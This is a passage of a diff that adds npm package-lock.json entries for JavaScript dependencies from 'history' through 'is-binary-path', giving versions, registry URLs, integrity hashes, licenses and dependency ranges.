"sha512-COpmrF2NOg4TBWUJ5UVyaCU2A88wEMkUPK4hNqyCkqHbxT92BbvfjoSozkAIIm6XhicGlJHhFdullInrdhwU8Q==", + "license": "MIT" + }, + "node_modules/history": { + "version": "4.10.1", + "resolved": "https://registry.npmjs.org/history/-/history-4.10.1.tgz", + "integrity": "sha512-36nwAD620w12kuzPAsyINPWJqlNbij+hpK1k9XRloDtym8mxzGYl2c17LnV6IAGB2Dmg4tEa7G7DlawS0+qjew==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.1.2", + "loose-envify": "^1.2.0", + "resolve-pathname": "^3.0.0", + "tiny-invariant": "^1.0.2", + "tiny-warning": "^1.0.0", + "value-equal": "^1.0.1" + } + }, + "node_modules/hoist-non-react-statics": { + "version": "3.3.2", + "resolved": "https://registry.npmjs.org/hoist-non-react-statics/-/hoist-non-react-statics-3.3.2.tgz", + "integrity": "sha512-/gGivxi8JPKWNm/W0jSmzcMPpfpPLc3dY/6GxhX2hQ9iGj3aDfklV4ET7NjKpSinLpJ5vafa9iiGIEZg10SfBw==", + "license": "BSD-3-Clause", + "dependencies": { + "react-is": "^16.7.0" + } + }, + "node_modules/hoist-non-react-statics/node_modules/react-is": { + "version": "16.13.1", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-16.13.1.tgz", + "integrity": "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ==", + "license": "MIT" + }, + "node_modules/hoopy": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/hoopy/-/hoopy-0.1.4.tgz", + "integrity": "sha512-HRcs+2mr52W0K+x8RzcLzuPPmVIKMSv97RGHy0Ea9y/mpcaK+xTrjICA04KAHi4GRzxliNqNJEFYWHghy3rSfQ==", + "license": "MIT", + "engines": { + "node": ">= 6.0.0" + } + }, + "node_modules/hpack.js": { + "version": "2.1.6", + "resolved": "https://registry.npmjs.org/hpack.js/-/hpack.js-2.1.6.tgz", + "integrity": "sha512-zJxVehUdMGIKsRaNt7apO2Gqp0BdqW5yaiGHXXmbpvxgBYVZnAql+BJb4RO5ad2MgpbZKn5G6nMnegrH1FcNYQ==", + "license": "MIT", + "dependencies": { + "inherits": "^2.0.1", + "obuf": "^1.0.0", + "readable-stream": "^2.0.1", + "wbuf": "^1.1.0" + } + }, + "node_modules/hpack.js/node_modules/isarray": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", + "integrity": "sha512-VLghIWNM6ELQzo7zwmcg0NmTVyWKYjvIeM83yjp0wRDTmUnrM678fQbcKBo6n2CJEF0szoG//ytg+TKla89ALQ==", + "license": "MIT" + }, + "node_modules/hpack.js/node_modules/readable-stream": { + "version": "2.3.7", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz", + "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==", + "license": "MIT", + "dependencies": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" + } + }, + "node_modules/hpack.js/node_modules/string_decoder": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", + "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", + "license": "MIT", + "dependencies": { + "safe-buffer": "~5.1.0" + } + }, + "node_modules/html-encoding-sniffer": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/html-encoding-sniffer/-/html-encoding-sniffer-3.0.0.tgz", + "integrity": "sha512-oWv4T4yJ52iKrufjnyZPkrN0CH3QnrUqdB6In1g5Fe1mia8GmF36gnfNySxoZtxD5+NmYw1EElVXiBk93UeskA==", + "dev": true, + "license": "MIT", + "dependencies": { + "whatwg-encoding": "^2.0.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/html-entities": { + "version": "2.3.3", + "resolved": "https://registry.npmjs.org/html-entities/-/html-entities-2.3.3.tgz", + "integrity": "sha512-DV5Ln36z34NNTDgnz0EWGBLZENelNAtkiFA4kyNOG2tDI6Mz1uSWiq1wAKdyjnJwyDiDO7Fa2SO1CTxPXL8VxA==", + "license": "MIT" + }, + "node_modules/html-escaper": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/html-escaper/-/html-escaper-2.0.2.tgz", + "integrity": "sha512-H2iMtd0I4Mt5eYiapRdIDjp+XzelXQ0tFE4JS7YFwFevXXMmOp9myNrUvCg0D6ws8iqkRPBfKHgbwig1SmlLfg==", + "license": "MIT" + }, + "node_modules/html-minifier-terser": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/html-minifier-terser/-/html-minifier-terser-6.1.0.tgz", + "integrity": "sha512-YXxSlJBZTP7RS3tWnQw74ooKa6L9b9i9QYXY21eUEvhZ3u9XLfv6OnFsQq6RxkhHygsaUMvYsZRV5rU/OVNZxw==", + "license": "MIT", + "dependencies": { + "camel-case": "^4.1.2", + "clean-css": "^5.2.2", + "commander": "^8.3.0", + "he": "^1.2.0", + "param-case": "^3.0.4", + "relateurl": "^0.2.7", + "terser": "^5.10.0" + }, + "bin": { + "html-minifier-terser": "cli.js" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/html-minifier-terser/node_modules/commander": { + "version": "8.3.0", + "resolved": "https://registry.npmjs.org/commander/-/commander-8.3.0.tgz", + "integrity": "sha512-OkTL9umf+He2DZkUq8f8J9of7yL6RJKI24dVITBmNfZBmri9zYZQrKkuXiKhyfPSu8tUhnVBB1iKXevvnlR4Ww==", + "license": "MIT", + "engines": { + "node": ">= 12" + } + }, + "node_modules/html-webpack-plugin": { + "version": "5.6.0", + "resolved": "https://registry.npmjs.org/html-webpack-plugin/-/html-webpack-plugin-5.6.0.tgz", + "integrity": "sha512-iwaY4wzbe48AfKLZ/Cc8k0L+FKG6oSNRaZ8x5A/T/IVDGyXcbHncM9TdDa93wn0FsSm82FhTKW7f3vS61thXAw==", + "license": "MIT", + "dependencies": { + "@types/html-minifier-terser": "^6.0.0", + "html-minifier-terser": "^6.0.2", + "lodash": "^4.17.21", + "pretty-error": "^4.0.0", + "tapable": "^2.0.0" + }, + "engines": { + "node": ">=10.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/html-webpack-plugin" + }, + "peerDependencies": { + "@rspack/core": "0.x || 1.x", + "webpack": "^5.20.0" + }, + "peerDependenciesMeta": { + "@rspack/core": { + "optional": true + }, + "webpack": { + "optional": true + } + } + }, + "node_modules/htmlparser2": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/htmlparser2/-/htmlparser2-6.1.0.tgz", + "integrity": "sha512-gyyPk6rgonLFEDGoeRgQNaEUvdJ4ktTmmUh/h2t7s+M8oPpIPxgNACWa+6ESR57kXstwqPiCut0V8NRpcwgU7A==", + "funding": [ + "https://github.com/fb55/htmlparser2?sponsor=1", + { + "type": "github", + "url": "https://github.com/sponsors/fb55" + } + ], + "license": "MIT", + "dependencies": { + "domelementtype": "^2.0.1", + "domhandler": "^4.0.0", + "domutils": "^2.5.2", + "entities": "^2.0.0" + } + }, + "node_modules/http-deceiver": { + "version": "1.2.7", + "resolved": "https://registry.npmjs.org/http-deceiver/-/http-deceiver-1.2.7.tgz", + "integrity": "sha512-LmpOGxTfbpgtGVxJrj5k7asXHCgNZp5nLfp+hWc8QQRqtb7fUy6kRY3BO1h9ddF6yIPYUARgxGOwB42DnxIaNw==", + "license": "MIT" + }, + "node_modules/http-errors": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-2.0.0.tgz", + "integrity": "sha512-FtwrG/euBzaEjYeRqOgly7G0qviiXoJWnvEH2Z1plBdXgbyjv34pHTSb9zoeHMyDy33+DWy5Wt9Wo+TURtOYSQ==", + "license": "MIT", + "dependencies": { + "depd": "2.0.0", + "inherits": "2.0.4", + "setprototypeof": "1.2.0", + "statuses": "2.0.1", + "toidentifier": "1.0.1" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/http-parser-js": { + "version": "0.5.8", + "resolved": "https://registry.npmjs.org/http-parser-js/-/http-parser-js-0.5.8.tgz", + "integrity": "sha512-SGeBX54F94Wgu5RH3X5jsDtf4eHyRogWX1XGT3b4HuW3tQPM4AaBzoUji/4AAJNXCEOWZ5O0DgZmJw1947gD5Q==", + "license": "MIT" + }, + "node_modules/http-proxy": { + "version": "1.18.1", + "resolved": "https://registry.npmjs.org/http-proxy/-/http-proxy-1.18.1.tgz", + "integrity": "sha512-7mz/721AbnJwIVbnaSv1Cz3Am0ZLT/UBwkC92VlxhXv/k/BBQfM2fXElQNC27BVGr0uwUpplYPQM9LnaBMR5NQ==", + "license": "MIT", + "dependencies": { + "eventemitter3": "^4.0.0", + "follow-redirects": "^1.0.0", + "requires-port": "^1.0.0" + }, + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/http-proxy-agent": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-4.0.1.tgz", + "integrity": "sha512-k0zdNgqWTGA6aeIRVpvfVob4fL52dTfaehylg0Y4UvSySvOq/Y+BOyPrgpUrA7HylqvU8vIZGsRuXmspskV0Tg==", + "license": "MIT", + "dependencies": { + "@tootallnate/once": "1", + "agent-base": "6", + "debug": "4" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/http-proxy-middleware": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/http-proxy-middleware/-/http-proxy-middleware-2.0.6.tgz", + "integrity": "sha512-ya/UeJ6HVBYxrgYotAZo1KvPWlgB48kUJLDePFeneHsVujFaW5WNj2NgWCAE//B1Dl02BIfYlpNgBy8Kf8Rjmw==", + "license": "MIT", + "dependencies": { + "@types/http-proxy": "^1.17.8", + "http-proxy": "^1.18.1", + "is-glob": "^4.0.1", + "is-plain-obj": "^3.0.0", + "micromatch": "^4.0.2" + }, + "engines": { + "node": ">=12.0.0" + }, + "peerDependencies": { + "@types/express": "^4.17.13" + }, + "peerDependenciesMeta": { + "@types/express": { + "optional": true + } + } + }, + "node_modules/http-server": { + "version": "14.1.1", + "resolved": "https://registry.npmjs.org/http-server/-/http-server-14.1.1.tgz", + "integrity": "sha512-+cbxadF40UXd9T01zUHgA+rlo2Bg1Srer4+B4NwIHdaGxAGGv59nYRnGGDJ9LBk7alpS0US+J+bLLdQOOkJq4A==", + "dev": true, + "license": "MIT", + "dependencies": { + "basic-auth": "^2.0.1", + "chalk": "^4.1.2", + "corser": "^2.0.1", + "he": "^1.2.0", + "html-encoding-sniffer": "^3.0.0", + "http-proxy": "^1.18.1", + "mime": "^1.6.0", + "minimist": "^1.2.6", + "opener": "^1.5.1", + "portfinder": "^1.0.28", + "secure-compare": "3.0.1", + "union": "~0.5.0", + "url-join": "^4.0.1" + }, + "bin": { + "http-server": "bin/http-server" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/http-server/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "license": "MIT", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/http-server/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/http-server/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/http-server/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true, + "license": "MIT" + }, + "node_modules/http-server/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/http-server/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, + "license": "MIT", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/http-signature": { + "version": "1.3.6", + "resolved": "https://registry.npmjs.org/http-signature/-/http-signature-1.3.6.tgz", + "integrity": "sha512-3adrsD6zqo4GsTqtO7FyrejHNv+NgiIfAfv68+jVlFmSr9OGy7zrxONceFRLKvnnZA5jbxQBX1u9PpB6Wi32Gw==", + "dev": true, + "license": "MIT", + "dependencies": { + "assert-plus": "^1.0.0", + "jsprim": "^2.0.2", + "sshpk": "^1.14.1" + }, + "engines": { + "node": ">=0.10" + } + }, + "node_modules/https-proxy-agent": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-5.0.1.tgz", + "integrity": "sha512-dFcAjpTQFgoLMzC2VwU+C/CbS7uRL0lWmxDITmqm7C+7F0Odmj6s9l6alZc6AELXhrnggM2CeWSXHGOdX2YtwA==", + "license": "MIT", + "dependencies": { + "agent-base": "6", + "debug": "4" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/human-signals": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/human-signals/-/human-signals-1.1.1.tgz", + "integrity": "sha512-SEQu7vl8KjNL2eoGBLF3+wAjpsNfA9XMlXAYj/3EdaNfAlxKthD1xjEQfGOUhllCGGJVNY34bRr6lPINhNjyZw==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": ">=8.12.0" + } + }, + "node_modules/hyphenate-style-name": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/hyphenate-style-name/-/hyphenate-style-name-1.0.4.tgz", + "integrity": "sha512-ygGZLjmXfPHj+ZWh6LwbC37l43MhfztxetbFCoYTM2VjkIUpeHgSNn7QIyVFj7YQ1Wl9Cbw5sholVJPzWvC2MQ==", + "license": "BSD-3-Clause" + }, + "node_modules/iconv-lite": { + "version": "0.4.24", + "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz", + "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==", + "license": "MIT", + "dependencies": { + "safer-buffer": ">= 2.1.2 < 3" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/icss-utils": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/icss-utils/-/icss-utils-5.1.0.tgz", + "integrity": "sha512-soFhflCVWLfRNOPU3iv5Z9VUdT44xFRbzjLsEzSr5AQmgqPMTHdU3PMT1Cf1ssx8fLNJDA1juftYl+PUcv3MqA==", + "license": "ISC", + "engines": { + "node": "^10 || ^12 || >= 14" + }, + "peerDependencies": { + "postcss": "^8.1.0" + } + }, + "node_modules/idb": { + "version": "6.1.5", + "resolved": "https://registry.npmjs.org/idb/-/idb-6.1.5.tgz", + "integrity": "sha512-IJtugpKkiVXQn5Y+LteyBCNk1N8xpGV3wWZk9EVtZWH8DYkjBn0bX1XnGP9RkyZF0sAcywa6unHqSWKe7q4LGw==", + "license": "ISC" + }, + "node_modules/identity-obj-proxy": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/identity-obj-proxy/-/identity-obj-proxy-3.0.0.tgz", + "integrity": "sha512-00n6YnVHKrinT9t0d9+5yZC6UBNJANpYEQvL2LlX6Ab9lnmxzIRcEmTPuyGScvl1+jKuCICX1Z0Ab1pPKKdikA==", + "license": "MIT", + "dependencies": { + "harmony-reflect": "^1.4.6" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/ieee754": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.2.1.tgz", + "integrity": "sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "BSD-3-Clause" + }, + "node_modules/ignore": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.2.0.tgz", + "integrity": "sha512-CmxgYGiEPCLhfLnpPp1MoRmifwEIOgjcHXxOBjv7mY96c+eWScsOP9c112ZyLdWHi0FxHjI+4uVhKYp/gcdRmQ==", + "license": "MIT", + "engines": { + "node": ">= 4" + } + }, + "node_modules/immer": { + "version": "9.0.15", + "resolved": "https://registry.npmjs.org/immer/-/immer-9.0.15.tgz", + "integrity": "sha512-2eB/sswms9AEUSkOm4SbV5Y7Vmt/bKRwByd52jfLkW4OLYeaTP3EEiJ9agqU0O/tq6Dk62Zfj+TJSqfm1rLVGQ==", + "license": "MIT", + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/immer" + } + }, + "node_modules/immutability-helper": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/immutability-helper/-/immutability-helper-3.1.1.tgz", + "integrity": "sha512-Q0QaXjPjwIju/28TsugCHNEASwoCcJSyJV3uO1sOIQGI0jKgm9f41Lvz0DZj3n46cNCyAZTsEYoY4C2bVRUzyQ==", + "license": "MIT" + }, + "node_modules/immutable": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/immutable/-/immutable-4.1.0.tgz", + "integrity": "sha512-oNkuqVTA8jqG1Q6c+UglTOD1xhC1BtjKI7XkCXRkZHrN5m18/XsnUp8Q89GkQO/z+0WjonSvl0FLhDYftp46nQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/import-fresh": { + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/import-fresh/-/import-fresh-3.3.0.tgz", + "integrity": "sha512-veYYhQa+D1QBKznvhUHxb8faxlrwUnxseDAbAp457E0wLNio2bOSKnjYDhMj+YiAq61xrMGhQk9iXVk5FzgQMw==", + "license": "MIT", + "dependencies": { + "parent-module": "^1.0.0", + "resolve-from": "^4.0.0" + }, + "engines": { + "node": ">=6" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/import-lazy": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/import-lazy/-/import-lazy-4.0.0.tgz", + "integrity": "sha512-rKtvo6a868b5Hu3heneU+L4yEQ4jYKLtjpnPeUdK7h0yzXGmyBTypknlkCvHFBqfX9YlorEiMM6Dnq/5atfHkw==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/import-local": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/import-local/-/import-local-3.1.0.tgz", + "integrity": "sha512-ASB07uLtnDs1o6EHjKpX34BKYDSqnFerfTOJL2HvMqF70LnxpjkzDB8J44oT9pu4AMPkQwf8jl6szgvNd2tRIg==", + "license": "MIT", + "dependencies": { + "pkg-dir": "^4.2.0", + "resolve-cwd": "^3.0.0" + }, + "bin": { + "import-local-fixture": "fixtures/cli.js" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/import-local/node_modules/find-up": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-4.1.0.tgz", + "integrity": "sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==", + "license": "MIT", + "dependencies": { + "locate-path": "^5.0.0", + "path-exists": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/import-local/node_modules/locate-path": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-5.0.0.tgz", + "integrity": "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==", + "license": "MIT", + "dependencies": { + "p-locate": "^4.1.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/import-local/node_modules/p-limit": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz", + "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==", + "license": "MIT", + "dependencies": { + "p-try": "^2.0.0" + }, + "engines": { + "node": ">=6" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/import-local/node_modules/p-locate": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-4.1.0.tgz", + "integrity": "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==", + "license": "MIT", + "dependencies": { + "p-limit": "^2.2.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/import-local/node_modules/pkg-dir": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/pkg-dir/-/pkg-dir-4.2.0.tgz", + "integrity": "sha512-HRDzbaKjC+AOWVXxAU/x54COGeIv9eb+6CkDSQoNTt4XyWoIJvuPsXizxu/Fr23EiekbtZwmh1IcIG/l/a10GQ==", + "license": "MIT", + "dependencies": { + "find-up": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/imurmurhash": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz", + "integrity": "sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA==", + "license": "MIT", + "engines": { + "node": ">=0.8.19" + } + }, + "node_modules/indent-string": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/indent-string/-/indent-string-4.0.0.tgz", + "integrity": "sha512-EdDDZu4A2OyIK7Lr/2zG+w5jmbuk1DVBnEwREQvBzspBJkCEbRa8GxU1lghYcaGJCnRWibjDXlq779X1/y5xwg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/inflight": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz", + "integrity": "sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==", + "deprecated": "This module is not supported, and leaks memory. Do not use it. Check out lru-cache if you want a good and tested way to coalesce async requests by a key value, which is much more comprehensive and powerful.", + "license": "ISC", + "dependencies": { + "once": "^1.3.0", + "wrappy": "1" + } + }, + "node_modules/inherits": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", + "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", + "license": "ISC" + }, + "node_modules/ini": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ini/-/ini-2.0.0.tgz", + "integrity": "sha512-7PnF4oN3CvZF23ADhA5wRaYEQpJ8qygSkbtTXWBeXWXmEVRXK+1ITciHWwHhsjv1TmW0MgacIv6hEi5pX5NQdA==", + "dev": true, + "license": "ISC", + "engines": { + "node": ">=10" + } + }, + "node_modules/internal-slot": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/internal-slot/-/internal-slot-1.0.7.tgz", + "integrity": "sha512-NGnrKwXzSms2qUUih/ILZ5JBqNTSa1+ZmP6flaIp6KmSElgE9qdndzS3cqjrDovwFdmwsGsLdeFgB6suw+1e9g==", + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "hasown": "^2.0.0", + "side-channel": "^1.0.4" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/internmap": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/internmap/-/internmap-1.0.1.tgz", + "integrity": "sha512-lDB5YccMydFBtasVtxnZ3MRBHuaoE8GKsppq+EchKL2U4nK/DmEpPHNH8MZe5HkMtpSiTSOZwfN0tzYjO/lJEw==", + "license": "ISC" + }, + "node_modules/ipaddr.js": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-2.0.1.tgz", + "integrity": "sha512-1qTgH9NG+IIJ4yfKs2e6Pp1bZg8wbDbKHT21HrLIeYBTRLgMYKnMTPAuI3Lcs61nfx5h1xlXnbJtH1kX5/d/ng==", + "license": "MIT", + "engines": { + "node": ">= 10" + } + }, + "node_modules/is-accessor-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz", + "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", + "deprecated": "Please upgrade to v1.0.1", + "dev": true, + "license": "MIT", + "dependencies": { + "kind-of": "^6.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-arguments": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/is-arguments/-/is-arguments-1.1.1.tgz", + "integrity": "sha512-8Q7EARjzEnKpt/PCD7e1cgUS0a6X8u5tdSiMqXhojOdoV9TsMsiO+9VLC5vAmO8N7/GmXn7yjR8qnA6bVAEzfA==", + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.2", + "has-tostringtag": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-array-buffer": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/is-array-buffer/-/is-array-buffer-3.0.4.tgz", + "integrity": "sha512-wcjaerHw0ydZwfhiKbXJWLDY8A7yV7KhjQOpb83hGgGfId/aQa4TOvwyzn2PuswW2gPCYEL/nEAiSVpdOj1lXw==", + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.2", + "get-intrinsic": "^1.2.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-arrayish": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/is-arrayish/-/is-arrayish-0.2.1.tgz", + "integrity": "sha512-zz06S8t0ozoDXMG+ube26zeCTNXcKIPJZJi8hBrF4idCLms4CG9QtK7qBl1boi5ODzFpjswb5JPmHCbMpjaYzg==", + "license": "MIT" + }, + "node_modules/is-async-function": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/is-async-function/-/is-async-function-2.0.0.tgz", + "integrity": "sha512-Y1JXKrfykRJGdlDwdKlLpLyMIiWqWvuSd17TvZk68PLAOGOoF4Xyav1z0Xhoi+gCYjZVeC5SI+hYFOfvXmGRCA==", + "license": "MIT", + "dependencies": { + "has-tostringtag": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-bigint": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/is-bigint/-/is-bigint-1.0.4.tgz", + "integrity": "sha512-zB9CruMamjym81i2JZ3UMn54PKGsQzsJeo6xvN3HJJ4CAsQNB6iRutp2To77OfCNuoxspsIhzaPoO1zyCEhFOg==", + "license": "MIT", + "dependencies": { + "has-bigints": "^1.0.1" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-binary-path": { + "version": "2.1.0", + "resolved": 